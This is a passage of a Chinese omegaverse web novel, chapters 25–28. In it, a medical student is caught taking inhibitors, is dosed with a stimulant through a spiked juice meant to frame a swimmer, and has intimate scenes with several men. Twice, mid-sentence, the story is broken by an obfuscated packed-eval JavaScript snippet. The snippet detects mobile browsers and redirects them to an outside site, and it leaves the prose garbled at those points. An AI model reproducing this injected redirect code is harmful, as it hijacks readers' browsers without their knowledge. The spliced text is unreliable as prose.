像一个尽职尽责的人形摄影机,将她所有恶行都通通收入眼内。 哦豁,这下玩脱了。 说实话,被发现的那一刻,闻鸢是有点慌的。 但已经发生的事情就像吐出去的泡泡糖,黏糊糊地扒在地上,捡不起来,也塞不回嘴里。 后悔无济于事,当务之急是想想怎么堵住沈照的嘴。 “咔嗒”一声,电子闸门打开,门后露出一颗卤蛋似的脑袋。 主管人的眼神在他们二人身上来回打量,推了推眼镜道: “保险丝烧坏了,过会儿才能修好,你们可以先回去了。” 二人沉默了一会儿。 “有什么问题吗?”察觉到微妙的气氛,主管老师眯了眯眼,问道。 “老师,有个情况需要向您汇报一下。” 沈照的声线很冷,冷得像覆了一层霜,透着不近人情的漠然。 好家伙,这小子搞背刺真是0帧起手。 闻鸢双手插兜,表面稳如老狗,实际上早就用上毕生所学在心里大骂特骂。 “嗯,你说。”圆脸主管点点头,一脸严肃。 闻鸢认命地闭了闭眼,脑海中开始思索下一步对策,却怎么也理不清头绪。 原则上小偷应该都有planB,但由于她第一次当小偷,所以没什么原则,脑子只是一味指责沈照。 忘恩负义、薄情寡义、背信弃义…… “β型抑制剂的数量不对,要不您检查一下?” 过河拆桥、狼心狗肺……嗯?等等。 闻鸢抬头,视线恰好与沈照相接,后者沉默不语,只是垂下眼帘,眸中露出一点淡淡的笑意。 像是小狗恶作剧得逞后耀武扬威的样子。 可恶!被他耍了! 卤蛋拍了拍自己的脑袋,恍然大悟,“昨天多囤了一些,但我忘记登记了,谢谢提醒!” 沈照颔首,“那就先告辞了。” 他回头,嘴角笑意不断加深,“师姐,一起?” 返回实验室的途中,他们又走过那个紫藤花连廊。 沈照跟在她后面,低头看着他们二人的影子交叠又分离。 他忽然抬手,在空气中虚虚一握。 斑驳的紫藤花影里,两道影子手指交握,像是一对牵手同行的情侣。 闻鸢一直在等沈照开口询问,但奈何这个闷葫芦就是不出声。 她忍无可忍,拂开头顶上的紫藤花束,转身单刀直入道:“你没什么想问的吗?” 沈照看着地面,一时间没收住脚,迎面和她撞上。 他握着闻鸢的肩膀后退几步,鼻尖埋进闻鸢发丝。 鸢尾花的香气很淡,雾一样地拢在鼻端,绵密温和,像一阵清润的柔风。 面对这样的诱惑,沈照试图抵抗,但一秒后他便丢盔卸甲,像个瘾君子一样蹭了蹭她的头发,深深地吸了一口气。 说不上来是什么感受,只觉得脑子混沌,世界颠倒,他唯一想做的事情就是抱着她,亲吻她。 于是他也就这么做了,像失了智一样。 高大的阴影笼在身前,闻鸢刚稳住脚步,不明就里地抬起脸,一道温热得呼吸便扫过眼睫,一直向下,然后…… 落在了她的唇上。 26. 第 26 章 很轻的一个吻,或者说只是嘴唇短暂地贴在了一起。 短得让闻鸢以为是错觉。 沈照抬头,耳朵和脸颊以肉眼可见的速度变得通红,他慌乱地后退几步,捂着嘴,胸膛上下起伏。 “你……我……我不是……” 毫不夸张,此刻的沈照像被奸人夺去初吻的黄花大闺男。 大闺男口齿不清、舌头打结、羞愤欲死。 他欲言又止地盯着闻鸢,眼尾腾起一片红晕。 闻鸢面不改色心不跳地和他对峙数秒,然后眼睁睁地看着他落荒而逃。 看着他羞愤懊恼的背影,闻鸢下意识地在心里进行自我批判。 然而批了半刻之后,她才恍然意识到—— 他爹的! 她才是那个被强吻的人! 闻鸢揉了揉额头,按下内心纷乱的思绪。 相比于干坏事被抓包的刺激,沈照强吻她这件事倒显得有些平淡无奇。 她内心毫无波澜,只觉得沈照实在纯情得像上个世纪足不出户的贵公子。 事实证明她看人很准,接下来的一周,沈照总找各种理由避开与她的正面接触。 闻鸢乐得自在,着手准备X9的相关实验。 一切都在往好的方向发展,唐钰终于争了点气把实验完成了,莉娜要出国进修,估计管不了他们。 更喜闻乐见的是,经济系组织了修学活动,泽诺将离开华都一个周。 少爷原本想带闻鸢一起去,但被她委婉拒绝了。 理由很充分——陆寻也在修学名单内,她和陆寻就像头孢和酒,搅和在一起要死人的。 泽诺深有同感,破天荒地没把她捎上。 闻鸢很欣慰,因为这是十多年来泽诺第一次独自出门远行。 ——尽管也没有多远,从华都坐飞机到海市只需要两小时左右,刚好是商圈到郊区的通勤时间。 这样说来,住在郊区的牛马们几乎每天都在出门远行。 虽然闻鸢没去,但泽诺仍然能找到一万种方法让她不得安生。 “酒店浴室好小,都伸不开胳膊。” “洗衣房也是,居然没有□□,还得把衣服送过去,讨厌死了。” 他躺在酒店的大床上,边吃水果边吹毛求疵地挑剔道。 闻鸢站在大太阳底下,周围人潮人涌,她一手架着伞,一手拿着手机,边听他抱怨,边被人挤得汗流浃背。 对于他的抱怨,闻鸢提供了一种解决思路: 目前情况很清楚了,只要泽诺退化成长臂猿就能解决以上所有问题! 因为长臂猿既不穿衣服也就不用洗衣服! 但这种天才想法闻鸢并没有分享给泽诺,因为他讨厌一切带毛的动物。 尤其是灵长类。 闻鸢有时候会质疑泽诺会不会讨厌他自己,因为他本人就挺符合以上两个条件的。 “你在哪儿?那边好吵。” 扯远了,还是先应付眼下。 闻鸢回神,像突然被噩梦惊醒,心不在焉地敷衍了几句。 “必须住学校安排是酒店吗?要不我重新给你订一个?” 长队终于缓缓挪动,但还是一眼望不到头。 有粉丝举着方鸣玉的大头照,上书“鸣玉放心飞,方糖永相随”几个大字。 那板子被挤得皱巴巴的,方鸣玉的帅脸出现畸变,苹果肌和脑门凭空出现几条褶皱。 命很苦的样子,活像被熊孩子捏变形的橡皮泥玩偶。 粉丝姐拿着苦命应援幅,径直越过大长队,走进VIP通道,留下一个潇洒的背影。 然后命苦的人变成了闻鸢。 “行啊,你订一下,我今晚就搬,这破酒店我是一晚都待不下去了。” 他语气轻松,姿态从容。 她手指发抖,只想跳楼。 “好的,那我先去看一下你附近的五星级酒店,先挂啦。” 闻鸢的白眼简直要翻到天上,但语气仍旧柔和,就像个身经百战的淘宝金牌客服。 验票开始之后队伍移动得快了些,闻鸢把酒店订好之后刚好排到她。 工作人员接过她的票,抬头看了她一眼。 闻鸢心里咯噔一声,暗想难道方鸣玉那厮给了张假票? 然而真相更加残酷。 验票员露出礼貌而不失关怀的微笑,对闻鸢说道:“您这张是VIP票,可以直接走快速通道的。” “你是说我可以直接进去吹空调玩手机,而不用顶着烈日在这排队两小时?” 验票员露出一个如沐春风的笑容,说出来的话莫名让闻鸢气血翻涌。 “是的呢。” “为什么票面上没有标明是VIP?”她质问道。 “普通票的外壳是蓝色的,只有VIP票是红色的。这是泳联一贯的设计。” 闻鸢在“为什么不早说”和“这算什么”之间选择无能狂怒。 算什么? 算她倒霉行了吧! 她怒气冲冲地跑进VIP厅候着,一口气炫了三杯果汁。 清凉解渴的果汁下肚,闻鸢暴躁的内心稍微安定了一些。 方鸣玉就是在这个时候打来了视讯。 闻鸢抹了把汗,接通后看到对方正在脱上衣。 肩宽腰细,手臂的肌肉线条流畅紧致,曲折时肌肉鼓出,富有力量感。 手机震动一声,他似有所感地转过来,便看到闻鸢的视线微动,眼珠从上到下移动,最后落到腹肌处。 他唇角微挑,索性彻底转过身来,大大方方任她看个够。 看来beta和omega一样,都偏好身材健硕强壮的alpha。 他嘴唇微翘,微昂着脸,一幅孔雀开屏的样子。 毫不意外,全世界的人类都会拜倒在他块垒分明的腹肌之下—— 闻鸢除外。 此女思维发散到无可理喻的地步,在看到腹肌的第一眼,她脑子里蹦出的第一个念头是—— 方鸣玉不做解剖标本真是可惜了。 脂肪层少,肌群分界显著,尤其是腹肌那一块,血管神经定位会更直观。 唉,还记得解剖学考试那天,她光处理脂肪组织都快累死了,连神经都没找到一根。 看得久了,她莫名联想到了一些别的东西。 “好看吗?” “好看,像搓衣板。” 不好,怎么说出来了! “……” 手机被摔在地上,“咔嗒”一声,屏幕砸在地板上,闻鸢听到一点碎裂的声响。 须臾,一声叹息响起,屏幕上重新映出方鸣玉略带愠怒的眉眼。 “有时候你的赞美就像是盗版网页的弹窗广告。” “很烦,但又找不到关闭按钮。” 闻鸢尴尬地咬了咬吸管,小声反驳道:“难伺候,不夸奖几句你又得给我摆脸色。” “你说什么?”方鸣玉拧眉,凑近手机。 闻鸢正想说几句敷衍过去,对面的屏幕却剧烈地晃动起来。 “啪”地一声,手机又掉到了地上。 这次不是因为方鸣玉没拿稳,而是有人故意打掉了他的手机。 一道低哑的男声响起,语气里满是不耐,“换衣间打视频,你可真够没底线的。” “稍微尊重下其他人的隐私吧,方少爷。” 手机话筒受损,嗡嗡地响着,声音听不真切,闻鸢只听到两句话,结合之前搜查到的信息,便知道泳队内部一直暗流涌动。 队员相互倾轧,老队员常常霸凌新人,教练则睁一只眼闭一只眼。 幸而方鸣玉自身家世足够雄厚,他也不是被欺负却忍气吞声的人。 他重新捡起手机,对她温柔地说了一声,“比赛结束先别走,来找我。” 屏幕上他的脸一闪而过,戾气藏在眉宇之间,有种风雨欲来的压抑感。 通讯很快挂断,闻鸢怔愣了一会儿,点开搜索引擎,逐一查看泳联成员的背景。 十分钟后,运动员入场,而她也和众多观众一起落座。 方鸣玉一共有四场比赛,除了团体项目之外,还有100米自由泳和100米蝶泳。 他穿着黑色羽绒服入场,现场导播给了个特写。 他抬眸扫了眼镜头,目光如寒潭般深不见底,只一瞬便移开,仿佛对周遭的喧嚣毫无兴趣。 观众席上的尖叫声隐约传来,他却连眉头都没动一下,径直走向泳池边,脱下外套,露出紧实的肩背线条。 沸腾的尖叫声随着哨音响起,闻鸢看到他以矫健的姿态入水,潜游几米后上浮,比赛开始便与别人拉开一个身位。 这种绝对性的压制几乎贯穿整场比赛。 闻鸢非常震撼。 然而震撼的对象并非方鸣玉。 而是坐在身旁的粉丝姐。 从比赛开始到现在,她的女高音一直没有停止,从A5飙到G5,只需要一瞬间。 期间还伴随着怒音,撕裂音,颤音,音域广阔,技巧丰富,情感充沛。 闻鸢甚至觉得赛程太短影响了粉丝姐的发挥,否则按照她的实力,来段华彩简直轻轻松松。 “方——鸣——玉,方——呕——鸣玉。” 声音飙太高,伤到嗓子了。 她干呕了一阵,继续吼。 闻鸢坐在她身边,魔音贯耳、余音绕梁,像在台风天专门出来受苦的天气记者。 比赛结束之后,她坐在看台上,等耳朵里尖锐的鸣叫声散去。 等了半天,耳鸣没停,倒是把方鸣玉的助理等来了。 “闻小姐,小方总请您去他的休息室一趟。” 闻鸢露出一个礼貌而不失尴尬的微笑,点头应答,心里却万分不愿意。 她顶着一脸怨气走到方鸣玉的休息室,却发现里面空无一人。 一杯青色的果汁摆在桌子上,四块金牌随意丢在沙发里。 闻鸢回头问道:“他人呢?” 对方怔愣了一下,似乎也有些疑惑,“刚刚还在这里的,您稍坐,我去找找。” “桌上的饮料和小食您自便。” 闻鸢也没拘束,坐下来抿了两口果汁,青提的清爽在舌尖绽开,口味绵密丰富,比售货机里的预制饮料好喝多了。 闻鸢喝了半杯,便看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904785|176809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到方鸣玉懒懒散散地踱步进来。 黑发微湿,随意地搭在额前,衬得肤色愈发冷白。 他攥着手机,恹恹的神情在看到闻鸢的时候忽而亮起来。 长腿一迈,他硕大的身躯便挤到闻鸢坐着的小沙发上。 二人腿贴着腿,热度通过薄薄的布料透过来,闻鸢呼吸微微一滞。 太近了。 她挪了挪腿,将自己缩到角落;对方得寸进尺,长腿一伸,直接截断她的退路。 他垂眸看她,眼底暗潮翻涌:“躲什么?” 闻鸢避开视线,转移话题的技术十分生硬,“没躲,你刚刚干什么去了?” 方鸣玉灰色的眸子暗了暗,他敛下眼皮,声音低哑,“给我爸打了个电话。” 他用手支着下巴,看她小口小口地抿着果汁,唇边抿出一个很淡的笑意。 “好喝吗?” 闻鸢点头,口不对心地称赞道:“还行吧,比门口五块五那种强点。” 方鸣玉故意逗她,“你喝了我的果汁,那我喝什么?” 闻鸢翻了个白眼,心想如果他愿意可以把游泳池里的水喝干。 “你再点一杯不就好了。” 她挪了挪屁股,却发现什么东西硌得慌,低头一看,那几块奖牌已经被她挤到沙发缝里了。 她把果汁放下,从缝隙里掏出奖牌递给他。 金灿灿的奖牌有些重量,闻鸢掂量了一下,挑了挑眉。 “这是你第一次看我比赛,我游得怎么样?” 方鸣玉接过奖牌,指尖摩挲了一下,声音变得很低,似乎有些忐忑。 他的情绪很不对劲,从刚刚进门的时候就很奇怪。 比赛开始前他就像一只蓄势待发的狮子,对自己的实力有十足的信心。 可是现在,奖牌到手,世奥会的入场券已经拿到,他又为何不安? 闻鸢搞不懂,迎着他的目光,只是淡淡说了句: “游得很好啊。别人都在喝你的洗脚水,泳联应该把你的名字刻进金卷轴里永久瞻仰。” 方鸣玉用手卷着奖牌的细带,低低笑出声,眉宇间的阴郁不期然地化开。 “为什么不开心,你现在应该膨胀得不知天地为何物才对。”闻鸢追问道。 方鸣玉挑眉,眼里有点讶异,“这么明显?” 闻鸢静静地看着他,目光如秋水般澄澈。她忽然伸手,指尖轻轻拂过他紧锁的眉间。 “这里,从你进来的时候就一直皱着。” 女人的指尖像一簇火苗,烫得他心头一颤。 他下意识抓住她的手腕,却在触及她脉搏的瞬间松了力道。 “技术瓶颈,还是没有克服,爸爸专门打电话过来骂了我一顿。” “一句鼓励都没有。”他把奖牌翻了个面,嗤笑一声,语气中不难听出失望。 他低下头,闻鸢能看到他湿漉漉的头发耷拉下来,很狼狈的样子,像是一只雨天流浪街头的小狗。 比天龙人更会PUA的往往是天龙人的父母,这点闻鸢深有体会。 所以,即使是抱着看戏心态的闻鸢,也不免分出了几分怜悯之心来安慰面前这个天龙人。 她“啧”了一声,“他怕你太膨胀没把话说满,父母不都这样吗?” 指尖勾住奖牌的缎带,她抓过方鸣玉的奖牌给他戴上。 “行了,当务之急就是赶紧戴着奖牌回泳联炫耀一番,让那些怂货看看谁才是泳池——” “你干什么?” 奖牌被方鸣玉塞了回去,闻鸢抬头,看见方鸣玉的灰色的眸子里凝着笑意。 “这是给你的。” 他修长的手指轻轻托起她的掌心,将金牌郑重地放上去,指尖似有若无地擦过她的手腕。 “纪念你第一次来看我比赛。” 他忽然倾身,带着池水清冽的气息逼近,“下次的纪念品——” 金牌在她掌心微微发烫,方鸣玉的声音落在耳畔,带着不容拒绝的笃定。 “将会是世奥会的金牌,我说到做到。” 脸颊涌上热意,心跳骤然加快,像是一块高温岩浆忽而投入血液,滚烫顺着血管奔涌四散,叫人头晕目眩。 心悸脸红,呼吸急促。 糟糕!是心动的感觉???! 她压住内心的惊异低头,只觉得荷尔蒙真是不可思议。 方鸣玉伸手,迫使她抬起脸,指尖划过嘴唇,他喉结微动,不可置信地揶揄道:“脸好红,你在害羞?” 闻鸢不知道那几句白开水一样的话有什么可让她脸红的。 但在方鸣玉碰到她脸颊的时候,全身急剧地抖了一下,过电般的触感让皮肤起了一层鸡皮疙瘩。 方鸣玉皱了皱眉,将黏在她脖颈处的发丝捋到后面。 她脖颈很细,细密的汗珠顺着肌肤滑落,他下意识用指尖抹去,却触到一阵突突跳动的脉搏。 心悸愈演愈烈,闻鸢甚至觉得房里的空气已经全部被剥夺。 当面前出现重影的时候,作为医学生的闻鸢才后知后觉地意识到—— 这他爹的哪是心动。 明明是心动过速。 27. 第 27 章 闻鸢倒进方鸣玉怀里,心脏好似一个老式滚筒洗衣机,下一秒就要破开胸膛跳出。 混乱中,她按住方鸣玉微微颤抖的手指,艰难地挤出几个字,“果…汁……有……问题。” 她的声音很小,方鸣玉慌了神,压根没听清,“什么?你哪里不舒服?” 闻鸢想死的心都有了,不对,如果再不自救一下她真的离死不远了。 她在心里狠命地咒骂方鸣玉,手指攀上他的脸颊,恨不得给他一巴掌。 然而,现实中,那只滚烫的手贴到方鸣玉脸上,轻柔地抚摸了一阵,仿佛是在让他安心。 方鸣玉脑袋宕机了一会儿,随后拨通了医疗队的急救电话。 他拢着闻鸢,让她靠在怀中,鼻尖紧贴着他的前胸。 “我是方鸣玉,我朋友出现了呼吸急促,眩晕的情况,我该……嘶!” 闻鸢不知道什么时候清醒了过来,一直乱动。 医疗队那边还在继续追问,他压住心头的烦躁,胡乱应付着。 最后,他忍无可忍,吼了一句“快过来”,直接把电话撂了。 “你乖一点,医疗队马上来。”他忍着躁动,把贴上来的闻鸢扒开。 闻鸢半睁着眼睛,手指绕着方鸣玉的后颈转圈圈。 另一只手掀开训练服,顺着腹肌攀附而上,指腹摩挲着他精|壮的腰身。 “我很规矩的,不乖的明明是你。” 方鸣玉抖了一下,明显感觉到自己身体起了变化,便咬着牙警告道:“等你清醒了一定会后悔的。” 闻鸢闭着眼睛笑了下,举起双手做投降状,声调慵懒,“那你靠近一些,我跟你说句话。” 方鸣玉狐疑地看着她,她坦坦荡荡,任由他打量。 “只是说话,不乱摸?” 闻鸢点头如捣蒜。 方鸣玉侧头靠近,闻鸢微张嘴唇,炽热的气息喷洒在耳廓上,让方鸣玉缩了缩肩膀。 他听到女人轻笑一声,鸢尾花暖香忽浓忽淡,每一次呼吸都让空气变得潮湿而甜腻。 “大笨狗,上当了。” 话音刚落,耳垂便被闻鸢含进口中。 湿热的触感,舌尖绕着耳垂转了一圈,随后轻轻吮|吸,像是蜜蜂在汲取初春的第一口花蜜。 过电般的快感让方鸣玉骤然颤抖,信息素全部释放,霸道地侵|占屋内的每一个角落。 这是方鸣玉成年以来第一次无法控制自己的信息素。 他有些难为情地起身,却被闻鸢环住了脖颈。 女人眼神时而清醒时而迷离,嘴唇微张,舌尖轻舔下唇,似乎有些意犹未尽。 嘴唇的水色浸着欲望,她伸长脖颈,整个人向他倾去,温热的吐息化作一道光滑水润的绸缎,在空气里蜿蜒流淌。 方鸣玉招架不住,将她安置在腿上,捏住她的下巴,灰眸中藏着点燃的火。 “闻鸢,你知道自己在干什么吗?” 她的状态很不正常,面容潮红,眼睛半阖,骨子里渗出极度旺盛的情|欲。 “那你知道我在干什么吗?” 她靠在方鸣玉怀里,低低地笑着,指尖划过他的喉结,随后是下巴、嘴唇。 眼皮一掀,挑衅神态暴露无遗。 “你不敢吗?方鸣玉。” 炎热干燥的季节,往往只需要一丁点火星,就能点燃一整片草原。 闻鸢的唇瓣是最好的引燃物,水润的唇在他喉结处流连打转,肆意玩|弄。 方鸣玉一再后退,闻鸢便跪在他腿上,并借着自己的身位优势,捧着他的脸俯身吻了下去。 灰色的瞳孔猛然睁大,大脑瞬间空白。 他僵硬地环抱着闻鸢,任由她在唇上又啃又咬,但年轻alpha总克制不住自己的欲|望,片刻后便热烈地回应着闻鸢。 他的吻横冲直撞,毫无章法,闻鸢捧着他的头,在双唇分离的片刻,低低笑出声来。 他不满,压住闻鸢的后脑勺,追吻上去。 闻鸢软了舌尖,放慢速度教他,含着他的唇舌慢慢地吮着,分离又相贴。 方鸣玉企图占据主导,但奈何吻技不好,只能仰着头,被闻鸢压着亲。 唇舌的交缠像是像一场缓慢燃烧的火,将彼此的理智一寸寸熔尽。 闻鸢心坏,为惩罚他的莽撞,狠狠在他唇上咬了一口。 “嘶……” 嘴唇见了红,闻鸢才放过气喘吁吁的方鸣玉,餍足地靠在他的肩膀上。 方鸣玉舔了舔嘴唇,慢半拍地问道:“这么熟练,你还跟别人接过吻吗?” 闻鸢脑袋迷迷糊糊,只觉得身上燥热难耐,但还是分出几分心思回他,“当然了。” “和谁?” 闻鸢脑子里闪过很多人,但都记不清名字,便如实回复道: “不记得了,但你是吻技是最差的一个。” 听到这话,方鸣玉心头火起,他咬着后槽牙问道:“是不是泽诺?” “唔……” 方鸣玉等了半天也没见她回复,醋意大发,捧着她的脸强势又霸道地命令道:“不可以吻他,以后只能吻我。” “凭什么?”闻鸢几乎是下意识地反驳了。 好问题,方鸣玉一下子就难住了,他尝试压住心头的怒火,但尝试失败。 “因为他不是你男朋友。” 他半天只想到了这一个理由,却被闻鸢轻松找到了漏洞。 “你也不是,我照样亲。” “闻——鸢——” 他气极,捏住她下巴,准备再教训一下她,却听到门口传来砰砰的砸门声。 医疗队姗姗来迟,并带来不速之客。 “反兴奋剂中心,有人举报方鸣玉选手赛前服用B-3型兴奋剂,违规比赛,请你配合检查。” 感受到满室的信息素,助理忧心忡忡地看着自家少爷,手已经划到公文包里准备跟家主报备捞人事宜。 谁知躺在方鸣玉怀中、正在接受医疗检查的女人突然大吼一声。 “我知道了!方鸣玉,是果汁!果汁要坑你!” 她前言不搭后语,转过头对方鸣玉认真地说道: “你高低得给我磕一个,要不是我帮你挡枪,你就要被关小黑屋了。” 除了方鸣玉,在场所有人都觉得她在说疯话。 医务人员小声地问了句,“她是否有既往精神病史?” 方鸣玉揉了揉眉心,用外套把闻鸢裹起来,“她精神正常,只是刚刚误食了兴奋剂。” 他转头,锐利的神色落在为首的工作人员身上。 “有人故意栽赃陷害,在果汁里掺了兴奋剂。” “我可以接受检查,这没问题,同时我希望中心能彻查此事,追究相关人员的责任。” 监察员皱了皱眉,向他确认道。 “你是否服用了兴奋剂?” “没有,但我的朋友不幸误服了,身体不适,我才叫了医疗队。” 医疗人员量了闻鸢的心率和血压,问了她几个基本问题,她的回答都天马行空,毫无逻辑可言。 一位医生抬头补充道,“之前我也处理过beta误食B-3型兴奋剂的情况,症状基本相似,初期表现为心动过速,中期为性|兴奋,后期则是言语紊乱。” 都对上了,闻鸢三个阶段的症状都对上了。 “会有后遗症吗?”方鸣玉担忧地问道。 “不会的,慢慢代谢出去就好。” 听到这话,方鸣玉才心下稍安,他轻柔地把闻鸢放到担架上,随后转头,冷冷的眸子凝着面前黑衣服的监察员。 “你必须在10分钟以内完成采样。” “我知道,不用你废话。” 监察员让出一条道,方鸣玉刚抬起脚,就被闻鸢拉住了手。 “等一下!” “怎么了?”方鸣玉反手握住闻鸢,低头询问。 闻鸢支支吾吾,脑子像刚装上一样启动困难,半天没憋出一个字。 “方鸣玉选手,不要拖延,否则刚刚的成绩就会作废!”工作人员催促道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908263|176809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “好了,有什么话待会儿再说,我先应付他们。” 他把闻鸢的手拿开,三步并作两步走到门口,他前脚刚踏出门,后脚就听到她撕心裂肺地大喊道: “方鸣玉!我们刚才接吻了,接吻了!你明白吗?兴奋剂!兴奋剂的吻?!!!” 满室寂静。 方鸣玉缓缓扶额,在那一瞬间跟她莫名其妙共脑了。 她想说,刚刚的吻会不会导致他身体中检测出兴奋剂残留,毕竟闻鸢刚喝下那饮料不久。 但其他人不明前因后果,八卦的眼神不停地扫视着方鸣玉和闻鸢,只觉得现在小情侣亲热简直不分场合。 真是世风日下,人心不古。 顶着众人或嫌弃或狎昵的眼神,闻鸢被抬上救护车,一觉睡到第二天。 思维断片,头昏脑涨,她刚睡醒的时候以为自己昨晚想不开跑去酒吧喝酒去了。 直到方鸣玉的助理提着果篮敲响她病房的门,她才恍然想起,干翻自己的只是一杯果汁而已。 不知什么原因,小助理脸上凄凄惨惨戚戚。 闻鸢有种不祥的预感,“我昏迷之后发生什么了?” 小助理嗫嚅了一下,眼睛乱瞟,“没什么……” 一看就是有什么的样子。 闻鸢双手抱头,想起昏迷前的愤恨,惶然道:“难道我扇了他一巴掌?” 小助理连忙摆手,“并没有这回事。” 否认没有起到安抚作用,反而让闻鸢更加激动,声音直接拔高了一个度。 “难不成是他扇了我一巴掌?!!!” “怪不得我下巴有印子!!!” 小助理低头,盯着自己的鞋尖,打定主意,不做小情侣play中的一环。 “咳咳,这些都没有发生,您昏迷以后就被送到医院了。” “另外,小方总最近要进行封闭式训练,恐怕不能来看您,所以他托我转交一些东西。” 他从公文包里拿出一个皮夹子,闻鸢接过,打开后发现里面放了几张卡。 可供无限消费的黑卡,某些高档会所的会籍卡,奢侈品牌的特权卡……诸如此类,让人眼花缭乱。 “若您需要,里面这些卡随时拿去使用。” 小助理点头微笑,却发现对方并未露出乡下人没见过世面的惊讶表情。 相反,她顿了一下,带着疑惑的神色明确拒绝道:“呃,我想我并不需要这些。” “您不必客气,这笔开支对小方总来说根本不值……” “一提”还没说完,他眼见着闻鸢翻身拿出一个卡皮巴拉钱包。 拉链一拉开,小助理就忍不住化身一条固执的鱼,沉默地沉没在深海里。* 在闻鸢面前,那个“不值一提”的皮夹子的确不值一提。 他缓缓睁大眼睛,惊讶到后退了一步。 不知道是因为没见过一脸穷酸样的富婆,还是没见过富婆用9块9的卡皮巴拉钱包装总价超过千万的卡。 总之他今天大开眼界,并决定以后不再小看卡皮巴拉用户。 闻鸢托着下巴,欣赏了一下他的震撼,百无聊赖地说: “如果他想道歉,那就等他训练结束后亲自来道歉,不必用钱来搪塞我。” 在她看来,给她送钱的行为已经坐实了方鸣玉打人的恶劣行径。 小助理有点懵,似乎没听懂她的话,只觉得小情侣在闹矛盾,自己这个局外人最好少发表意见。 于是他又后退一步,这一退,就是半个月。 在这半个月里,闻鸢就像捡到钱包的好心人,一直在给方鸣玉发消息。 但方少爷像一条被毒哑的美人鱼,始终沉默地沉在聊天框的深海里。 直到某个晚上,她跟泽诺厮混的时候,方鸣玉忽然冷不丁地,打来一个视频通话。 “谁?” 泽诺腰后垫着一个枕头,他把小腿放在闻鸢肩膀上,蓝眼睛眯了眯,欲色里晕出警惕和狐疑。 “我不在的这几天,你背着我干了什么?” 28. 第 28 章 半个月没见,泽诺黏她很紧。 受到赵琰信息素的刺激,泽诺的易感期变得异常紊乱。 去医院开了些药,他不好好吃,结果易感期来得汹涌且频繁。 闻鸢连带着跟他一起受罪。 往常一个小时就能安抚好,这几天旷日持久,断断续续地拉长到三小时。 闻鸢那时正在清洗实验数据,金丝眼镜下可见明显的疲倦。 泽诺在浴室唤她,叫声很急,尾音带着轻颤。 她点了保存,摘下眼镜,轻车熟路地拿起浴巾,把他抱了出来。 刚洗完澡,皮肤被潮气熏得很红,他扬起脖颈,水珠顺着喉结一路滑到锁骨。 唇齿相触,气氛燥热。 他刚进入状态,却被视讯的提示音吵得清醒了几分。 捕捉到闻鸢一闪而过的惊慌神色,略微的不满迅速扩张为满腹的怀疑和质询。 他反身去够闻鸢的手机,却被她拉住。 “谁打来的?”他仰头,掐着闻鸢的手臂,力气很重。 闻鸢心下一紧,缓缓帮他疏解易感期的躁热。 “你确定要在这种时候查岗吗?” 泽诺靠在闻鸢怀里,不满道:“那你慌什么?” “我为什么要慌?手机在那里,随便查,但至少不是现在。” 闻鸢与他十指紧扣。 他勉强维持最后一丝清醒,见闻鸢行为坦荡不似作伪,便放了心。 他在她肩膀狠狠咬了一口,以示警告,“被我发现你在外面有别的男人你就死定了……轻点行吗?!” “疼死了!” 翻来覆去就是那么几句,闻鸢只当耳旁风。 细究起来,这句话还有漏洞可钻。 退一万步讲,即使她真的在外面找了男人,不让泽诺知道不就相安无事了? 不过幸好她很有底线,精力也不是拼夕夕的提现红包,永远砍不完。 就目前来说,一个情人已经让她难以招架,更遑论两个。 她放缓了速度,尽力让泽诺爽到。 omega微微躬着脊背,腰线流畅细腻。 她开始问些有的没的分散泽诺的注意力,“修学旅行好玩吗?” 泽诺轻轻啃咬着闻鸢的下颌,跟着她的动作变动。 “不好玩,有天晚上,易感期来了,给你打电话,你没接。” 提到一些琐碎的事情,委屈就像找到了突破口,泪水不知不觉地蓄在眼角,把眼尾染得通红。 闻鸢好声好气地哄着,含着他的舌尖温存了一会儿。 “那泽诺是自己解决的吗?” 他顿了一下,没有直接回答,只说了句,“幸好带了你的衣服。” “嗯嗯,泽诺好棒,会自己解决了。” “可是自己打抑制剂的时候真的好难受,腺体痛得不行。” 易感期的omega特别容易情绪化,他仰着头,矜骄地不让眼泪流下来。 闻鸢温柔地点了点他的眼皮,从柜子里拿出抑制剂。 “这次我帮你打好不好,一定不会让你痛了。” 他还是很抗拒,扭着身子不让闻鸢碰他的腺体。 最后是闻鸢慢慢舒缓他后颈的皮肤,释放了一些信息素,他的态度才有所软化。 打完抑制剂后他明显听话了很多,困倦地睡了过去。 闻鸢则翻身检查手机,给方鸣玉发了条极度烦躁的消息。 【闻鸢】大晚上的打视频做什么?有病? 对方几乎秒回。 【方鸣玉】只是想见见你而已。封闭训练结束了,我明天来华大接你。 【闻鸢】? 【方鸣玉】有些事情必须说清楚。 闻鸢自动把“有些事情”归为道歉事宜,又想到了那个皮夹子,便爽快地应了下来。 【闻鸢】不用接,我直接去找你。 对方沉默了一下,随后发了一个颇为扭捏的表情包。 【方鸣玉】也行。那你直接来这儿吧。 [地图:碧梧馆] 闻鸢盯着那个表情包看了很久,皱了皱眉,觉得方鸣玉怪怪的。 肯定在心虚。 她没多想,第二天做完实验后直奔会所,只盼快点把事情解决。 可惜方鸣玉并不是这么想的。 从闻鸢进门以后,他就眼神游离,闪烁其词。 他坐在窗边,夕阳的余晖将锋利的轮廓衬得柔和了几分。 